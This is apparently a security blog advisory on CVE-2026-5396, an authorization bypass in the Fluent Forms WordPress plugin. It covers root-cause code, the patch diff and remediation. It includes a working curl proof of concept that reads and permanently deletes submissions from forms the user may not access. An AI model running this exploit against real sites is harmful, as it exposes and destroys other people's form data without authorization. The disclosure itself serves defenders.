Fluent Forms WordPress plugin banner

CVE-2026-5396: Fluent Forms Authorization Bypass via form_id (CVSS 8.2)

CVE-2026-5396 is a CVSS 8.2 High Authorization Bypass Through User-Controlled Key vulnerability in the Fluent Forms WordPress plugin. An authenticated attacker with Fluent Forms Manager access restricted to specific forms can bypass that restriction. They can read, modify, add notes to, and permanently delete form submissions belonging to any other form on the site.

Vulnerability Summary

FieldValue
Plugin NameFluent Forms
Plugin Slugfluentform
CVE IDCVE-2026-5396
CVSS Score8.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Vulnerability TypeAuthorization Bypass Through User-Controlled Key
Affected Versions<= 6.1.21
Patched Version6.2.0
PublishedMay 13, 2026
ResearcherSander Horsman - Conda Security
Wordfence AdvisoryLink

Description

Fluent Forms lets administrators grant non-admin users “Fluent Forms Manager” access. Admins can restrict a manager to specific forms only. A manager assigned to form A should only see and manage submissions for form A — not form B, C, or any other form.

This restriction is enforced by the SubmissionPolicy class. Because of a logic flaw in versions up to 6.1.21, that restriction can be bypassed. The policy checked permissions using a form_id value that came directly from the HTTP request. An attacker could supply any form_id they were authorized for, while targeting submissions from a completely different form using its entry_id in the URL.

Technical Analysis

How Fluent Forms Manages Submissions

Fluent Forms registers a REST-like API via WordPress admin-ajax. Submission routes are grouped under SubmissionPolicy in app/Http/Routes/api.php.

// app/Http/Routes/api.php (line 58)
$router->prefix('submissions')->withPolicy('SubmissionPolicy')->group(function ($router) {
    $router->get('/', 'SubmissionController@index');
    $router->get('resources', 'SubmissionController@resources');
    $router->post('bulk-actions', 'SubmissionController@handleBulkActions');
    $router->get('print', 'SubmissionController@print');
    $router->get('all', 'SubmissionController@all');
    $router->delete('/{entry_id}', 'SubmissionController@remove');

    $router->prefix('{entry_id}')->group(function ($router) {
        $router->get('/', 'SubmissionController@find');
        $router->post('status', 'SubmissionController@updateStatus');
        $router->post('is-favorite', 'SubmissionController@toggleIsFavorite');
        $router->get('notes', 'SubmissionNoteController@get');
        $router->post('notes', 'SubmissionNoteController@store');
    });
});

Notice that entry-scoped routes (read, update status, delete) use {entry_id} in the URL path. This is the ID of the specific submission being targeted.

The Vulnerable Authorization Check

Before any submission action runs, SubmissionPolicy checks whether the current user has access. Here is the vulnerable code in version 6.1.21:

// app/Http/Policies/SubmissionPolicy.php (version 6.1.21)
public function verifyRequest(Request $request)
{
    return Acl::hasPermission('fluentform_entries_viewer', $request->get('form_id'));
}

public function handleBulkActions(Request $request)
{
    return Acl::hasPermission('fluentform_manage_entries', $request->get('form_id'));
}

Both methods pass $request->get('form_id') to Acl::hasPermission(). This value comes directly from the HTTP query string — it is fully attacker-controlled.

How the Permission Check Works

Acl::hasPermission() calls FormManagerService::hasFormPermission() to check whether the current user has access to the given form:

// app/Modules/Acl/Acl.php (line 118)
public static function hasPermission($permissions, $formId = false)
{
    if ($formId && !FormManagerService::hasFormPermission($formId)) {
        return false;
    }
    // ... rest of capability check
}
// app/Services/Manager/FormManagerService.php (line 62)
public static function hasFormPermission($formId)
{
    if ($formId && $allowedForm = self::getUserAllowedForms()) {
        $formId = is_array($formId) ? array_map('intval', $formId) : [intval($formId)];
        return (bool)array_intersect($formId, $allowedForm);
    }
    return true;
}

The check answers: “Is form_id in the user’s allowed forms list?” If yes, the request is authorized.

The Disconnect Between Authorization and Action

Here is the root cause. Authorization checks form_id from the request. But the actual database operation targets a submission by entry_id from the URL path.

Look at the remove() method in SubmissionController:

// app/Http/Controllers/SubmissionController.php (line 110)
public function remove(SubmissionService $submissionService, $submissionId)
{
    try {
        $submission = Submission::findOrFail($submissionId);
        $submissionService->deleteEntries([$submissionId], $submission->form_id);

The controller fetches the submission by $submissionId (from the URL) and deletes it. It never verifies that $submission->form_id matches the form_id that was used for authorization.

The same pattern applies to find(), updateStatus(), toggleIsFavorite(), and the notes endpoints. In all cases, authorization uses the request’s form_id, but the operation targets the submission by its entry_id.

Full Attack Path

  1. Admin grants attacker Fluent Forms Manager access, restricted to form 5.
  2. Attacker’s user meta: _fluent_forms_has_specific_forms_permission = 'yes', _fluent_forms_allowed_forms = [5].
  3. Attacker discovers that submission entry ID 100 exists (belonging to form 10 — a restricted form).
  4. Attacker sends: DELETE /wp-admin/admin-ajax.php?action=fluentform_admin_ajax&route=submissions/100&form_id=5.
  5. SubmissionPolicy::handleBulkActions() checks: does the user have access to form_id=5? Yes. Access granted.
  6. SubmissionController::remove() runs with $submissionId = 100. It fetches and deletes submission 100, which belongs to form 10.
  7. Submission from form 10 is permanently deleted — without authorization.

Proof of Concept

Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Do not use against systems you do not own or have explicit written permission to test.

Prerequisites:

Step 1 — Authenticate and get a nonce.

Log in as the restricted manager and retrieve the admin nonce:

# Log in via WordPress cookie auth (replace with real credentials)
curl -s -c cookies.txt -b cookies.txt \
  -d "log=restricted_manager&pwd=password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  "https://example.com/wp-login.php" -L -o /dev/null

# Get the nonce from the Fluent Forms admin page
NONCE=$(curl -s -b cookies.txt "https://example.com/wp-admin/admin.php?page=fluent_forms" \
  | grep -oP '"fluent_forms_admin_nonce":"\K[^"]+')
echo "Nonce: $NONCE"

Step 2 — Read a submission from an unauthorized form.

Send form_id=5 (allowed) but target entry_id=100 (from form 10, not allowed):

curl -s -b cookies.txt \
  "https://example.com/wp-admin/admin-ajax.php?action=fluentform_admin_ajax&route=submissions/100&fluent_forms_admin_nonce=$NONCE&form_id=5" \
  | python3 -m json.tool

Expected result: The response returns the full submission data for entry 100, which belongs to form 10. The attacker was only authorized for form 5.

Step 3 — Delete a submission from an unauthorized form.

curl -s -b cookies.txt -X DELETE \
  "https://example.com/wp-admin/admin-ajax.php?action=fluentform_admin_ajax&route=submissions/100&fluent_forms_admin_nonce=$NONCE&form_id=5"

Expected result: {"success":true,"data":{"message":"Selected submission successfully deleted Permanently"}}. Entry 100 from form 10 is permanently deleted.

Step 4 — Verify the deletion.

curl -s -b cookies.txt \
  "https://example.com/wp-admin/admin-ajax.php?action=fluentform_admin_ajax&route=submissions/100&fluent_forms_admin_nonce=$NONCE&form_id=5"

Expected result: {"success":false} or a 404-equivalent error. The submission no longer exists.

Patch Analysis

Version 6.2.0 introduces a resolveFormId() private method in SubmissionPolicy. The fix ensures that when an entry_id is present in the request, the authorization uses the form ID from the database — not from the request parameter.

--- a/app/Http/Policies/SubmissionPolicy.php
+++ b/app/Http/Policies/SubmissionPolicy.php
@@ -17,13 +17,19 @@ class SubmissionPolicy extends Policy
     public function verifyRequest(Request $request)
     {
-        return Acl::hasPermission('fluentform_entries_viewer', $request->get('form_id'));
+        $formId = $this->resolveFormId($request);
+        return Acl::hasPermission('fluentform_entries_viewer', $formId);
     }
 
     public function handleBulkActions(Request $request)
     {
-        return Acl::hasPermission('fluentform_manage_entries', $request->get('form_id'));
+        $formId = $this->resolveFormId($request);
+        return Acl::hasPermission('fluentform_manage_entries', $formId);
     }
+
+    private function resolveFormId(Request $request)
+    {
+        $entryId = $request->get('entry_id');
+        if ($entryId) {
+            $submission = Submission::select('form_id')->find(intval($entryId));
+            if ($submission) {
+                return $submission->form_id;
+            }
+        }
+
+        $formId = $request->get('form_id');
+        return $formId ? intval($formId) : null;
+    }

When an entry_id is present, the fix looks up the actual form_id of that submission from the database. The authorization then checks whether the user has access to that form — the form the submission actually belongs to. An attacker can no longer pass their allowed form ID while targeting a different form’s submission.

The companion fix in SubmissionController also replaces the user-supplied submission_id body parameter with the entry_id route parameter for the updateSubmissionUser action, closing a similar mismatch.

Timeline

DateEvent
May 13, 2026Wordfence publicly disclosed the vulnerability
May 13, 2026Fluent Forms 6.2.0 released with the fix
May 14, 2026This blog post published

Remediation

Update Fluent Forms to version 6.2.0 or later immediately.

If you cannot update immediately, review which users have Fluent Forms Manager access. Consider revoking form-restricted manager access until the update can be applied. There is no other workaround — the vulnerability is in the core authorization logic.

References

  1. Wordfence Advisory — CVE-2026-5396
  2. CVE-2026-5396 on cve.org
  3. Fluent Forms on wordpress.org
  4. Fluent Forms 6.2.0 — Patched Release
  5. Researcher: Sander Horsman — Conda Security

Frequently Asked Questions

What is CVE-2026-5396?

CVE-2026-5396 is a CVSS 8.2 High severity Authorization Bypass vulnerability in the Fluent Forms WordPress plugin. A restricted Fluent Forms Manager can read, modify, add notes to, and permanently delete form submissions from any form, not just the ones they are authorized for.

Which versions of Fluent Forms are affected by CVE-2026-5396?

All versions up to and including 6.1.21 are affected. Version 6.2.0 contains the fix.

What can an attacker do with CVE-2026-5396?

An attacker with Fluent Forms Manager access restricted to specific forms can read submissions from any other form, change submission statuses, add notes, toggle favorite status, and permanently delete submissions they should not be able to access.

Does an attacker need to be logged in to exploit CVE-2026-5396?

Yes. The attacker must have at least Subscriber-level WordPress access and must be granted Fluent Forms Manager permissions by an administrator, with access restricted to specific forms.

How do I fix CVE-2026-5396 in Fluent Forms?

Update Fluent Forms to version 6.2.0 or later from the WordPress admin dashboard or wordpress.org.

Has Fluent Forms been patched for CVE-2026-5396?

Yes. Version 6.2.0 was released and resolves this vulnerability by resolving the real form_id from the database instead of trusting the user-supplied form_id parameter.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee